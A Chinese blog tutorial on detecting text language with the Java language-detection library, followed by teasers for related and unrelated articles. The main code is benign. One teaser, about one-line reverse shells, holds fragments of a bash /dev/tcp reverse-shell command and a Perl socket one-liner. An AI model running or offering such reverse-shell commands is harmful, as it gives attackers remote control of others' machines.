本文基本借鉴大佬文章:http://www.cnblogs.com/makemelaugh/archive/2012/09/26/2704802.html

在此基础上添加一些自己的补充,方便查阅。

提前需要下载的jar包:

谷歌code的 language-detection下载地址:https://code.google.com/archive/p/language-detection/downloads

github上的 language-detection下载地址(这个里面有各国语言的语料包):https://github.com/optimaize/language-detector

JSONIC的jar包下载地址: https://zh.osdn.net/projects/jsonic/

项目中需要引用langdetect.jar和其依赖的jsonic.jar  (项目中只需要把jar包和语料包拿过来就可以了)

简单例子如下:

Demo截图(红圈内分别为引用的jar包,语料包以及获取配置文件key的工具类):

例子贴上:

package langDetectionTest.langDetection;

import com.cybozu.labs.langdetect.Detector;
import com.cybozu.labs.langdetect.DetectorFactory;
import com.cybozu.labs.langdetect.LangDetectException;
import langDetectionTest.tools.PropertiesUtil;

/**
 * Created by xinlian on 2017/7/20.
 */
public class Test {
    public static void main(String[] args) {

        try {
            //根据路径加载语料包(PropertiesUtil是用来获取配置文件中的配置的语料包路径)
            DetectorFactory.loadProfile(PropertiesUtil.getProperty("config.properties ", "langdir"));
        } catch (LangDetectException e) {
            e.printStackTrace();
        }

        Detector detect;
        try {
            detect = DetectorFactory.create();
            //需要检测的语言
            detect.append("这是一段中文");
            System.out.println(detect.detect());
        } catch (LangDetectException e) {
            e.printStackTrace();
        }
    }
}
PropertiesUtil工具类贴上:
package langDetectionTest.tools;

import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Properties;

public class PropertiesUtil {

private static Properties properties;

	private static Map<String ,Properties> propertiesMap = new HashMap<String ,Properties>();

	/**
	 * 初始化properties文件
	 * @Title: initProperties
	 * @data:2016-6-27下午12:44:19
	 * @author:bagen
	 *
	 * @param file
	 */
	private static void initProperties(String file) {
		properties = new Properties();
		try {
			ClassLoader loader = PropertiesUtil.class.getClassLoader();
			java.io.InputStream inStream = loader.getResourceAsStream(file);
			if(inStream != null) {
				properties.load(inStream);
			}
			propertiesMap.put(file, properties);
		} catch (IOException e) {
			e.printStackTrace();
		}
	}

	/**
	 * 从缓存Map获取值
	 * @Title: getProperties
	 * @data:2016-6-27下午12:59:01
	 * @author:bagen
	 *
	 * @param file
	 * @return
	 */
	public static Properties getProperties(String file){
		Properties properties = null;
		if(propertiesMap.containsKey(file)){
			properties = (Properties) propertiesMap.get(file);
		}
		return properties;
	}

	/**
	 * 获取properties中的值
	 * @Title: getProperty
	 * @data:2016-6-27下午12:51:03
	 * @author:bagen
	 *
	 * @param file
	 * @param key
	 * @return
	 */
	public static String getProperty(String file, String key) {
		if(!propertiesMap.containsKey(file))
			initProperties(file);
		return getProperties(file).getProperty(key);
	}
}

  运行结果:

demo百度云地址: http://pan.baidu.com/s/1bJvICQ

以上。

language-detection 语言检测工具 java版的应用demo的更多相关文章

  1. Java静态检测工具/Java代码规范和质量检查简单介绍(转)

    静态检查: 静态测试包括代码检查.静态结构分析.代码质量度量等.它可以由人工进行,充分发挥人的逻辑思维优势,也可以借助软件工具自动进行.代码检查代码检查包括代码走查.桌面检查.代码审查等,主要检查代码 ...

  2. Android For JNI(一)——JNI的概念以及C语言开发工具dev-c++,编写你的第一个C语言程序,使用C启动JAVA程序

    Android For JNI(一)--JNI的概念以及C语言开发工具dev-c++,编写你的第一个C语言程序 当你的Android之旅一步步的深入的时候,你其实会发现,很多东西都必须去和framew ...

  3. 数据结构与抽象 Java语言描述 第4版 pdf (内含标签)

    数据结构与抽象 Java语言描述 第4版 目录 前言引言组织数据序言设计类P.1封装P.2说明方法P.2.1注释P.2.2前置条件和后置条件P.2.3断言P.3Java接口P.3.1写一个接口P.3. ...

  4. 三分钟极速体验:Java版人脸检测

    欢迎访问我的GitHub https://github.com/zq2599/blog_demos 内容:所有原创文章分类汇总及配套源码,涉及Java.Docker.Kubernetes.DevOPS ...

  5. Java版人脸检测详解上篇:运行环境的Docker镜像(CentOS+JDK+OpenCV)

    欢迎访问我的GitHub https://github.com/zq2599/blog_demos 内容:所有原创文章分类汇总及配套源码,涉及Java.Docker.Kubernetes.DevOPS ...

  6. Java版人脸检测详解下篇:编码

    欢迎访问我的GitHub https://github.com/zq2599/blog_demos 内容:所有原创文章分类汇总及配套源码,涉及Java.Docker.Kubernetes.DevOPS ...

  7. 三分钟:极速体验JAVA版目标检测(YOLO4)

    欢迎访问我的GitHub https://github.com/zq2599/blog_demos 内容:所有原创文章分类汇总及配套源码,涉及Java.Docker.Kubernetes.DevOPS ...

  8. JCEF3——谷歌浏览器内核Java版实现(一):使用jawt获取窗体句柄

    前言 最近一段时间研究谷歌浏览器内核.谷歌浏览器内核一直开源,并维护更新,它的开源项目中内核更新速度和Chrome浏览器版本更新进度一样!而且它不同于WebKit(值得一题的是谷歌浏览器已不使用Web ...

  9. 第八篇 :微信公众平台开发实战Java版之如何网页授权获取用户基本信息

    第一部分:微信授权获取基本信息的介绍 我们首先来看看官方的文档怎么说: 如果用户在微信客户端中访问第三方网页,公众号可以通过微信网页授权机制,来获取用户基本信息,进而实现业务逻辑. 关于网页授权回调域 ...

随机推荐

  1. Autotest添加测试用例小结

    Autotest本身是一个自动化测试框架,可以在上面添加各种测试工具用于系统测试.前几天我在上面添加了几个基于龙芯桌面5.0系统的性能测试工具.现在做以下总结,大体写以下添加的过程. 以unixben ...

  2. Android开发的过去、现在和将来

    现如今,拥有着 80% 的市场份额的 Android 是最主流的手机操作系统.它运行在无数的智能手机.平板以及其他各种各样的设备上.仅凭这一点,我们是否可以认为  Android 编程是简单而轻松的呢 ...

  3. 纯css实现横向下拉菜单

    自己最近在捣腾css代码,不光是js能做很多有趣的东西,这货也可以做很多东西,现在把自己的一些作品分享给大家. 做得有点粗糙,大家根据这个思路来,可以自己修改修改. 关于demo:这是一个横向下拉的菜 ...

  4. ajax 动态添加商品列表

    <!DOCTYPE html><html> <head> <meta charset="utf-8" /> <title> ...

  5. 各种语言一句话反弹shell

    Bash [不通用,跟linux发行版本有关,在ubuntu上测试成功] bash -i >& /dev/tcp/ >& Perl perl -e 'use Socket; ...

  6. css样式表的选择器与分类

    css 样式表的作用: 主要用于结构,样式与行为,CSS主要的作用就是美化网页的一个语言,它的特点: 1.结构与样式分离的方式,便于后期维护与改版; 2.样式定义精确到像素的级别; css样式表的结构 ...

  7. 懵懂oracle之存储过程2

    上篇<懵懂oracle之存储过程>已经给大家介绍了很多关于开发存储过程相关的基础知识,笔者尽最大的努力总结了所有接触到的关于存储过程的知识,分享给大家和大家一起学习进步.本篇文章既是完成上 ...

  8. 循环执行sql语句

    DECLARE --声明变量 SQL_ALLTABLES LONG; SQL_INSERT LONG; TYPE THE_CURSOR_TYPE IS REF CURSOR; --定义引用游标的数据类 ...

  9. 深入理解JavaScript中的闭包

    闭包没有想象的那么简单 闭包的概念在JavaScript中占据了十分重要的地位,有不少开发者分不清匿名函数和闭包的概念,把它们混为一谈,我希望借这篇文章能够让大家对闭包有一个清晰的认识. 大家都知道变 ...

  10. Linux命令 文件压缩及压缩命令

    gzip [功能说明] 文件的压缩 #gizp属于GNU软件,总性能不错,是Linux系统首选的压缩工具,tar归档命令的-z参数也是利用gzip/gunzip来解压缩 [语法格式] Gip[选项][ ...